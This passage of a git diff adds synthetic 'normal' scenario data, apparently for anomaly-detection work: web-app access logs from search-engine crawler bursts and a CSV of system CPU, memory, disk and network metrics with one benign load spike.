HTTP/1.1" 200 15503 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:16 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:16 +0000] "GET /products/item/132 HTTP/1.1" 200 5326 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:17 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:17 +0000] "GET /products/item/113 HTTP/1.1" 200 21802 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:18 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:18 +0000] "GET /products/item/213 HTTP/1.1" 200 22150 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:21 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:21 +0000] "GET /products/item/213 HTTP/1.1" 200 13144 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:22 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:22 +0000] "GET /products/item/190 HTTP/1.1" 200 7630 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:23 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:23 +0000] "GET /products/item/145 HTTP/1.1" 200 24359 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:23 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:23 +0000] "GET /products/item/194 HTTP/1.1" 200 18743 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:24 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:24 +0000] "GET /products/item/179 HTTP/1.1" 200 19013 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:25 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:25 +0000] "GET /blog/article/21 HTTP/1.1" 200 18741 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:25 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:25 +0000] "GET /products/item/109 HTTP/1.1" 200 9011 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:26 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:26 +0000] "GET /products/item/104 HTTP/1.1" 200 6158 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:28 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:28 +0000] "GET /products/item/232 HTTP/1.1" 200 21955 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:30 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:30 +0000] "GET /blog/article/13 HTTP/1.1" 200 12337 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:31 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:31 +0000] "GET /blog/article/71 HTTP/1.1" 200 11159 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:33 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:33 +0000] "GET /blog/article/79 HTTP/1.1" 200 5139 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:34 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:34 +0000] "GET /blog/article/11 HTTP/1.1" 200 6648 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:37 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:37 +0000] "GET /blog/article/75 HTTP/1.1" 200 18193 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:37 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:37 +0000] "GET /home HTTP/1.1" 200 10931 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:37 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:37 +0000] "GET /products/item/128 HTTP/1.1" 200 5676 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:41 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:41 +0000] "GET /products/item/227 HTTP/1.1" 200 16082 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:43 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:43 +0000] "GET /products/item/226 HTTP/1.1" 200 12648 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:44 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:44 +0000] "GET /products/item/100 HTTP/1.1" 200 17293 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:47 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:47 +0000] "GET /products/item/232 HTTP/1.1" 200 21576 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:48 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:48 +0000] "GET /products/item/145 HTTP/1.1" 200 15654 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:06:00 web-app[1234]: GET /api/v1/user/17 status=200 OK +Jul 02 12:06:15 web-app[1234]: INFO System health check OK +Jul 02 12:06:30 web-app[1234]: GET /api/v1/user/18 status=200 OK +Jul 02 12:07:00 web-app[1234]: GET /api/v1/user/10 status=200 OK diff --git a/norm_dataset/scenario_8/norm_8_16.csv b/norm_dataset/scenario_8/norm_8_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..37a83006bf41965f5401325e4082337bf4948fca --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T22:00:00Z,16.88,41.55,28.53,2.27,3.27 +2025-08-22T22:00:05Z,10.81,36.5,25.61,1.29,3.68 +2025-08-22T22:00:10Z,11.2,36.77,22.96,2.19,2.81 +2025-08-22T22:00:15Z,14.26,40.72,20.23,1.85,2.6 +2025-08-22T22:00:20Z,13.1,41.23,37.38,1.24,2.04 +2025-08-22T22:00:25Z,15.93,37.74,29.9,2.7,3.58 +2025-08-22T22:00:30Z,12.46,41.16,24.19,1.55,1.07 +2025-08-22T22:00:35Z,19.16,40.37,29.57,1.3,2.85 +2025-08-22T22:00:40Z,13.59,35.82,23.61,1.05,1.8 +2025-08-22T22:00:45Z,11.93,41.09,31.02,1.74,1.21 +2025-08-22T22:00:50Z,14.35,43.92,27.51,1.24,1.44 +2025-08-22T22:00:55Z,14.8,35.05,34.96,1.36,2.1 +2025-08-22T22:01:00Z,14.58,43.57,25.99,2.34,2.94 +2025-08-22T22:01:05Z,15.18,40.48,38.17,2.26,1.61 +2025-08-22T22:01:10Z,13.29,42.04,34.21,2.3,3.65 +2025-08-22T22:01:15Z,13.73,44.3,39.58,1.61,2.78 +2025-08-22T22:01:20Z,15.46,41.88,24.6,2.99,1.91 +2025-08-22T22:01:25Z,11.07,40.21,21.65,1.86,3.15 +2025-08-22T22:01:30Z,18.37,39.7,38.54,2.17,1.61 +2025-08-22T22:01:35Z,17.78,44.07,23.76,2.61,2.14 +2025-08-22T22:01:40Z,78.27,40.54,125.25,16.24,22.58 +2025-08-22T22:01:45Z,70.04,49.06,124.52,18.36,20.44 +2025-08-22T22:01:50Z,85.27,46.03,125.64,17.38,27.1 +2025-08-22T22:01:55Z,80.19,49.55,90.66,11.77,16.74 +2025-08-22T22:02:00Z,76.35,46.12,106.79,17.13,28.36 +2025-08-22T22:02:05Z,82.49,49.46,95.01,12.74,21.38 +2025-08-22T22:02:10Z,70.03,43.07,96.68,10.36,20.44 +2025-08-22T22:02:15Z,91.29,43.03,136.77,9.95,29.3 +2025-08-22T22:02:20Z,87.39,41.46,147.44,19.42,17.48 +2025-08-22T22:02:25Z,85.15,49.98,98.88,12.81,20.92 +2025-08-22T22:02:30Z,91.67,40.91,92.13,14.36,28.78 +2025-08-22T22:02:35Z,70.59,48.98,94.97,11.66,27.88 +2025-08-22T22:02:40Z,77.0,46.91,119.96,17.47,15.41 +2025-08-22T22:02:45Z,93.95,47.29,116.22,17.37,17.4 +2025-08-22T22:02:50Z,87.68,44.48,135.8,17.05,16.35 +2025-08-22T22:02:55Z,90.42,42.7,92.38,9.37,27.42 +2025-08-22T22:03:00Z,94.43,43.27,144.18,17.81,24.25 +2025-08-22T22:03:05Z,92.27,45.83,86.71,18.65,20.4 +2025-08-22T22:03:10Z,73.81,47.92,91.87,10.79,26.38 +2025-08-22T22:03:15Z,81.89,40.82,93.93,10.53,19.74 +2025-08-22T22:03:20Z,76.47,41.44,149.78,13.91,19.51 +2025-08-22T22:03:25Z,94.44,44.85,97.99,13.15,23.87 +2025-08-22T22:03:30Z,70.02,44.72,107.61,14.19,20.93 +2025-08-22T22:03:35Z,79.93,43.17,134.58,18.96,21.2 +2025-08-22T22:03:40Z,84.68,47.25,116.8,14.14,23.88 +2025-08-22T22:03:45Z,74.88,49.83,129.22,19.0,27.87 +2025-08-22T22:03:50Z,75.29,40.5,146.79,19.08,25.03 +2025-08-22T22:03:55Z,90.04,43.76,135.97,16.75,26.13 +2025-08-22T22:04:00Z,72.09,40.37,134.75,16.58,24.03 +2025-08-22T22:04:05Z,89.63,42.8,87.62,16.01,17.7 +2025-08-22T22:04:10Z,87.29,48.55,125.5,15.93,25.4 +2025-08-22T22:04:15Z,84.05,49.31,135.79,10.19,27.64 +2025-08-22T22:04:20Z,86.52,42.49,130.83,9.18,21.75 +2025-08-22T22:04:25Z,85.44,40.53,89.14,19.56,21.11 +2025-08-22T22:04:30Z,72.55,48.36,107.7,14.61,23.81 +2025-08-22T22:04:35Z,70.84,47.31,119.47,8.58,28.97 +2025-08-22T22:04:40Z,71.04,44.72,105.1,18.75,23.41 +2025-08-22T22:04:45Z,72.86,41.17,127.11,19.31,15.99 +2025-08-22T22:04:50Z,87.63,49.49,97.36,17.32,25.54 +2025-08-22T22:04:55Z,85.24,41.09,114.56,14.58,26.37 +2025-08-22T22:05:00Z,73.17,42.39,101.43,17.28,15.26 +2025-08-22T22:05:05Z,90.71,44.55,126.94,16.27,15.61 +2025-08-22T22:05:10Z,80.03,41.3,141.76,19.09,24.0 +2025-08-22T22:05:15Z,73.28,46.12,111.7,10.08,16.7 +2025-08-22T22:05:20Z,83.8,46.35,127.86,13.77,18.32 +2025-08-22T22:05:25Z,80.81,48.77,114.42,18.48,23.09 +2025-08-22T22:05:30Z,73.97,41.86,92.97,13.6,19.31 +2025-08-22T22:05:35Z,91.9,41.8,144.85,13.64,21.71 +2025-08-22T22:05:40Z,73.28,44.05,99.32,10.77,25.02 +2025-08-22T22:05:45Z,93.29,43.02,111.81,10.8,28.79 +2025-08-22T22:05:50Z,14.26,37.97,23.6,1.81,3.98 +2025-08-22T22:05:55Z,14.14,42.01,21.8,1.96,1.57 +2025-08-22T22:06:00Z,18.11,43.07,31.9,2.7,2.23 +2025-08-22T22:06:05Z,13.04,37.74,30.03,1.34,1.78 +2025-08-22T22:06:10Z,12.7,42.26,21.46,1.22,2.77 +2025-08-22T22:06:15Z,15.78,38.46,20.34,1.09,1.4 +2025-08-22T22:06:20Z,11.43,40.97,31.74,2.46,3.9 +2025-08-22T22:06:25Z,16.86,41.69,28.84,2.35,1.2 +2025-08-22T22:06:30Z,17.22,35.84,32.08,2.46,1.86 +2025-08-22T22:06:35Z,10.2,37.11,30.4,2.49,3.2 +2025-08-22T22:06:40Z,16.67,39.27,37.13,1.89,2.09 +2025-08-22T22:06:45Z,13.68,41.31,37.54,2.31,2.04 +2025-08-22T22:06:50Z,18.99,41.23,29.33,2.15,2.29 +2025-08-22T22:06:55Z,13.99,37.68,35.28,1.77,1.76 +2025-08-22T22:07:00Z,11.58,44.36,28.32,1.02,1.13 +2025-08-22T22:07:05Z,16.27,40.14,39.78,2.86,2.43 +2025-08-22T22:07:10Z,16.96,43.37,28.06,1.04,2.05 +2025-08-22T22:07:15Z,19.15,44.47,25.14,2.78,1.54 +2025-08-22T22:07:20Z,11.67,40.47,21.51,1.57,3.25 +2025-08-22T22:07:25Z,14.14,44.21,28.16,2.4,3.05 diff --git a/norm_dataset/scenario_8/norm_8_16.log b/norm_dataset/scenario_8/norm_8_16.log new file mode 100644 index 0000000000000000000000000000000000000000..6a2bc23435988a1193907ff418128590b3dfb729 --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_16.log @@ -0,0 +1,1087 @@ +Aug 22 22:00:01 systemd[1]: Starting daily clean up activities... +Aug 22 22:00:01 web-app[2345]: GET /blog/article-2 status=200 from=192.168.1.95 agent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:00:02 web-app[2345]: GET /products status=200 from=192.168.1.90 agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:00:05 systemd[1]: Starting daily clean up activities... +Aug 22 22:00:08 systemd[1]: Starting daily clean up activities... +Aug 22 22:00:11 systemd[1]: Starting daily clean up activities... +Aug 22 22:00:15 web-app[2345]: GET /blog/article-2 status=200 from=192.168.1.118 agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:00:19 systemd[1]: Starting daily clean up activities... +Aug 22 22:00:21 systemd[1]: Starting daily clean up activities... +Aug 22 22:00:23 web-app[2345]: GET /products status=200 from=192.168.1.149 agent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:00:25 web-app[2345]: GET /about-us status=200 from=192.168.1.178 agent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:00:32 web-app[2345]: GET /about-us status=200 from=192.168.1.34 agent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:00:37 systemd[1]: Starting daily clean up activities... +Aug 22 22:00:40 web-app[2345]: GET /blog/article-1 status=200 from=192.168.1.107 agent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:00:43 systemd[1]: Starting daily clean up activities... +Aug 22 22:00:45 systemd[1]: Starting daily clean up activities... +Aug 22 22:00:45 web-app[2345]: GET / status=200 from=192.168.1.83 agent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:00:47 systemd[1]: Starting daily clean up activities... +Aug 22 22:00:50 systemd[1]: Starting daily clean up activities... +Aug 22 22:00:50 systemd[1]: Starting daily clean up activities... +Aug 22 22:00:50 web-app[2345]: GET /about-us status=200 from=192.168.1.195 agent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:00:55 web-app[2345]: GET /blog/article-1 status=200 from=192.168.1.17 agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:00:57 systemd[1]: Starting daily clean up activities... +Aug 22 22:00:59 systemd[1]: Starting daily clean up activities... +Aug 22 22:01:00 web-app[2345]: GET /products status=200 from=192.168.1.97 agent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:01:04 web-app[2345]: GET / status=200 from=192.168.1.150 agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:01:09 web-app[2345]: GET /blog/article-2 status=200 from=192.168.1.160 agent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:01:10 web-app[2345]: GET /blog/article-2 status=200 from=192.168.1.124 agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:01:17 systemd[1]: Starting daily clean up activities... +Aug 22 22:01:23 web-app[2345]: GET /blog/article-2 status=200 from=192.168.1.82 agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:01:24 web-app[2345]: GET /blog/article-2 status=200 from=192.168.1.146 agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:01:25 web-app[2345]: GET /products status=200 from=192.168.1.152 agent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:01:28 systemd[1]: Starting daily clean up activities... +Aug 22 22:01:31 systemd[1]: Starting daily clean up activities... +Aug 22 22:01:33 web-app[2345]: GET /blog/article-1 status=200 from=192.168.1.49 agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:01:34 web-app[2345]: GET / status=200 from=192.168.1.23 agent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:01:35 systemd[1]: Starting daily clean up activities... +Aug 22 22:01:40 web-app[2345]: GET /about-us status=200 from=66.249.65.214 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:40 web-app[2345]: GET /products/item11 status=200 from=66.249.88.76 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:40 web-app[2345]: GET /products/item13 status=200 from=66.249.67.11 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:40 web-app[2345]: GET /products/item3 status=200 from=66.249.84.40 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:40 web-app[2345]: GET /products/item7 status=200 from=66.249.95.24 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:41 web-app[2345]: GET /products status=200 from=66.249.71.237 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:41 web-app[2345]: GET /products/item11 status=200 from=66.249.67.237 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:41 web-app[2345]: GET /products/item11 status=200 from=66.249.83.31 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:41 web-app[2345]: GET /products/item5 status=200 from=66.249.83.114 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:42 web-app[2345]: GET /products/item10 status=200 from=66.249.89.51 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:42 web-app[2345]: GET /products/item19 status=200 from=66.249.78.83 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:42 web-app[2345]: GET /products/item2 status=200 from=66.249.82.199 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:43 web-app[2345]: GET /about-us status=404 from=66.249.93.76 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:43 web-app[2345]: GET /products/item10 status=200 from=66.249.92.20 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:43 web-app[2345]: GET /products/item12 status=200 from=66.249.64.8 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:43 web-app[2345]: GET /products/item16 status=200 from=66.249.77.110 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:43 web-app[2345]: GET /products/item4 status=200 from=66.249.80.90 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:43 web-app[2345]: GET /products/item9 status=200 from=66.249.73.209 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:44 web-app[2345]: GET /products status=200 from=66.249.64.7 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:44 web-app[2345]: GET /products/item10 status=200 from=66.249.85.186 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:44 web-app[2345]: GET /products/item17 status=200 from=66.249.87.108 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:44 web-app[2345]: GET /products/item6 status=200 from=66.249.65.105 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:44 web-app[2345]: GET /products/item7 status=200 from=66.249.66.62 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:45 web-app[2345]: GET /about-us status=200 from=66.249.73.105 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:45 web-app[2345]: GET /products/item1 status=200 from=66.249.89.145 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:45 web-app[2345]: GET /products/item2 status=404 from=66.249.86.62 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:45 web-app[2345]: GET /products/item3 status=200 from=66.249.78.4 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:46 web-app[2345]: GET / status=200 from=66.249.92.205 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:46 web-app[2345]: GET /products/item1 status=200 from=66.249.79.23 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:46 web-app[2345]: GET /products/item12 status=200 from=66.249.83.130 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:46 web-app[2345]: GET /products/item14 status=200 from=66.249.79.68 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:46 web-app[2345]: GET /products/item14 status=404 from=66.249.84.59 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:46 web-app[2345]: GET /products/item2 status=200 from=66.249.69.75 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:46 web-app[2345]: GET /products/item5 status=200 from=66.249.75.75 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:46 web-app[2345]: GET /products/item9 status=200 from=66.249.81.178 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:47 web-app[2345]: GET /products/item19 status=301 from=66.249.75.222 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:48 web-app[2345]: GET /blog/article-2 status=200 from=66.249.66.129 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:48 web-app[2345]: GET /blog/article-2 status=404 from=66.249.88.224 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:48 web-app[2345]: GET /products status=200 from=66.249.86.21 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:48 web-app[2345]: GET /products/item1 status=200 from=66.249.74.113 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:48 web-app[2345]: GET /products/item13 status=200 from=66.249.74.59 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:48 web-app[2345]: GET /products/item14 status=200 from=66.249.75.13 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:48 web-app[2345]: GET /products/item14 status=200 from=66.249.75.36 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:48 web-app[2345]: GET /products/item15 status=200 from=66.249.77.79 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:49 web-app[2345]: GET /products/item11 status=200 from=66.249.83.143 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:49 web-app[2345]: GET /products/item7 status=200 from=66.249.74.233 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:49 web-app[2345]: GET /products/item7 status=200 from=66.249.78.151 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:50 web-app[2345]: GET /products/item1 status=200 from=66.249.82.163 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:50 web-app[2345]: GET /products/item10 status=200 from=66.249.76.133 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:50 web-app[2345]: GET /products/item15 status=200 from=66.249.82.14 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:50 web-app[2345]: GET /products/item7 status=200 from=66.249.71.85 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:50 web-app[2345]: GET /products/item7 status=200 from=66.249.85.30 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:51 web-app[2345]: GET /blog/article-2 status=200 from=66.249.68.241 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:51 web-app[2345]: GET /products/item1 status=200 from=66.249.77.78 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:52 web-app[2345]: GET /about-us status=200 from=66.249.69.131 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:52 web-app[2345]: GET /blog/article-2 status=200 from=66.249.67.249 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:52 web-app[2345]: GET /products/item18 status=200 from=66.249.64.136 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:53 web-app[2345]: GET /products/item10 status=404 from=66.249.67.27 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:53 web-app[2345]: GET /products/item16 status=200 from=66.249.92.178 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:53 web-app[2345]: GET /products/item19 status=200 from=66.249.77.142 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:53 web-app[2345]: GET /products/item7 status=200 from=66.249.85.215 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:53 web-app[2345]: GET /products/item8 status=404 from=66.249.71.71 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:54 web-app[2345]: GET /products/item10 status=200 from=66.249.87.39 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:55 web-app[2345]: GET / status=200 from=66.249.87.188 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:55 web-app[2345]: GET /products/item11 status=200 from=66.249.72.234 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:55 web-app[2345]: GET /products/item19 status=200 from=66.249.66.128 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:55 web-app[2345]: GET /products/item8 status=200 from=66.249.64.59 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:56 